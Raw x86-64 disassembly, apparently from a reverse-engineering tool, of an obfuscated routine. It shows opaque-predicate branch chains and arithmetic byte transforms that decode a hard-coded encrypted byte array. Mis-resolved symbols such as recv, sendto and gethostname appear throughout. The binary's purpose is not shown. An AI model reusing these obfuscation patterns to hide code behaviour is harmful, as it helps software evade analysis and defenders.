add rbx, rcx
add bl, 0x44
jmp 0x1401516bd
je 0x140152090
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140152061
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015203e
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140151ff0
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14015210b
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401516f0
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401518b3
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140151fdf
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140151fbc
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140151f73
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140151f4d
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140151ec1
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140151afd
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140151ae9
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140151ac6
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140151ab2
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140151a91
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140151a7d
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140151a5a
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140151a46
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401520e8
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401520c2
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401518e0
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401518ba
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140151897
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140151a2f
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140151a0e
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401519fa
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401519d9
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401519c5
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1401519a2
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14015197f
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015195b
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x140151938
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140151924
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140151903
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14015173e
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14015173e
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140151731
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401516bd
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x14015164e
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14015200f
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140151ca4
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14015205c
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140151f8f
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x14015207f
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140152082
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140151ed0
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x140151d39
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x140151be1
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x140151b5e
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x140151b13
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140151ed0
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x140152082
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x140151f5c
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140151f8f
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x140151fcb
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140152039
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x140151fff
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140151bc9
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x140151e9b
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x140151c62
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x140151e75
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x140151d70
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x140151e68
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140152011
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140151bf8
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401520ab
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140151c15
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x140151ed0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140151c41
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140152082
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140151b22
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140151fcb
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140151c8c
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x14015200f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140151cbb
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140152039
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140151ce7
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x14015207f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140151d11
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x140151ee0
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140151d40
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151f16
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140151b60
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x1401520ab
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140151d8d
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140151be1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140151daa
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140151ed0
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140151dc7
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140151f5c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140151df1
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x140151f8f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140151e1d
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x14015205c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140151e3a
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140151ca4
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140151b97
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14015200f
mov byte [rbp + r9 + 0x910], bl
jmp 0x1401520ba
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x910]
sub bl, al
sub bl, 0x60
jmp 0x140151977
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x910]
jmp 0x140151edd
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x910], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x910], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401520ab
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015207f
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x910], cl
jmp 0x14015207f
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015205c
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140151fff
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x910], cl
add r10, r15
jmp 0x14015205c
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r15
jmp 0x1401520ba
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401520ba
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x910]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14015163b
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151638
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140151628
lea rdx, [rbp + 0x16f1040]
jmp 0x140152124
lea rdx, [rbp + 0x68a3a4]
jmp 0x140152124
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0xb8]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2300]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140152159
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2300]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2300]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2300]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x740], 0xcb
mov byte [rbp + 0x741], Ordinal_143
mov byte [rbp + 0x742], 0xac
mov byte [rbp + 0x743], 0xf3
mov byte [rbp + 0x744], Ordinal_79
mov byte [rbp + 0x745], 0xf1
mov byte [rbp + 0x746], WSACleanup
mov byte [rbp + 0x747], 0xf7
mov byte [rbp + 0x748], 0x55
mov byte [rbp + 0x749], 0xf5
mov byte [rbp + 0x74a], 0xa2
mov byte [rbp + 0x74b], 0xfb
mov byte [rbp + 0x74c], 0x66
mov byte [rbp + 0x74d], 0xf9
mov byte [rbp + 0x74e], 0x55
mov byte [rbp + 0x74f], 0xff
mov byte [rbp + 0x750], 0x59
mov byte [rbp + 0x751], 0xfd
mov byte [rbp + 0x752], WSACleanup
mov byte [rbp + 0x753], 0xe3
mov byte [rbp + 0x754], 0x47
mov byte [rbp + 0x755], 0xe1
mov byte [rbp + 0x756], Ordinal_79
mov byte [rbp + 0x757], 0xe7
mov byte [rbp + 0x758], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x759], 0xe5
mov byte [rbp + 0x75a], 0x42
mov byte [rbp + 0x75b], 0xeb
mov byte [rbp + 0x75c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x75d], 0xe9
mov byte [rbp + 0x75e], r14b
mov byte [rbp + 0x75f], 0xef
mov byte [rbp + 0x760], 0xb8
mov byte [rbp + 0x761], 0xed
mov byte [rbp + 0x762], 0x87
mov byte [rbp + 0x763], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x764], 0x44
mov byte [rbp + 0x765], Ordinal_211
mov byte [rbp + 0x766], r14b
mov byte [rbp + 0x767], Ordinal_217
mov byte [rbp + 0x768], 0x81
mov byte [rbp + 0x769], Ordinal_217
mov byte [rbp + 0x76a], 0x7e
mov byte [rbp + 0x76b], 0xdb
mov byte [rbp + 0x76c], 0x7c
mov byte [rbp + 0x76d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x76e], WSACleanup
mov byte [rbp + 0x76f], 0xdf
mov byte [rbp + 0x770], Ordinal_143
mov byte [rbp + 0x771], 0xdd
mov byte [rbp + 0x772], 0x64
mov byte [rbp + 0x773], Ordinal_200
mov byte [rbp + 0x774], WSAGetLastError
mov byte [rbp + 0x775], 0xc1
mov byte [rbp + 0x776], 0x54
mov byte [rbp + 0x777], Ordinal_200
mov byte [rbp + 0x778], Ordinal_200
mov byte [rbp + 0x779], Ordinal_200
xor eax, eax
mov dword [rbp + 0x77a], eax
mov word [rbp + 0x77e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x140152f21
movzx r8d, byte [rbp + r9 + 0x740]
mov r11, r8
cmp rdi, r9
ja 0x140152f18
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140152398
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x1401523d2
je 0x140152e8b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140152e35
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140152dde
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140152db5
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140152d6b
cmp r10, r9
ja 0x140152f0f
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x140152405
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
jmp 0x140152617
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140152d4d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140152d2a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140152cfb
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140152ce7
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140152937
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140152916
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140152902
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401528df
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401528cb
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401528a8
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140152885
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140152861
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015283e
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015281a
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140152446
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140152ee9
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140152ec3
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140152644
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015261e
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x1401525fb
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401527f6
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401527e2
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401527c1
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140152793
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140152446
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14015276d
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14015274c
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015272b
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140152705
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401526e2
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401526c1
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14015269e
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015267b
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140152667
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140152446
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x140152446
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x140152439
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401523d2
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x140152361
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140152d7a
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140152db0
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140152dd6
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140152c8a
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140152cb9
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140152d19
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x140152dfd
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14015285a
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140152eac
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x740], bl
jmp 0x140152ebb
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x1401529d3
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14015298c
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140152960
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140152eaa
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140152e59
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140152dfd
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x140152d19
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140152cb9
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x1401526d0
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140152dd6
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140152ac5
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140152d8a
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x140152a0a
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x140152cbe
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x140152adc
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, r14
jae 0x140152c69
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x140152ba9
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x1401527b4
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140152d8c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140152a36
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140152eac
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140152a50
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x140152870
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140152a7f
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140152cb9
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140152aa9
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x140152c8d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140152962
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140152db0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140152b06
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x140152d8a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140152b30
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x140152c8d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140152b4d
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x140152a68
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140152b79
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x140152d19
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015299e
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
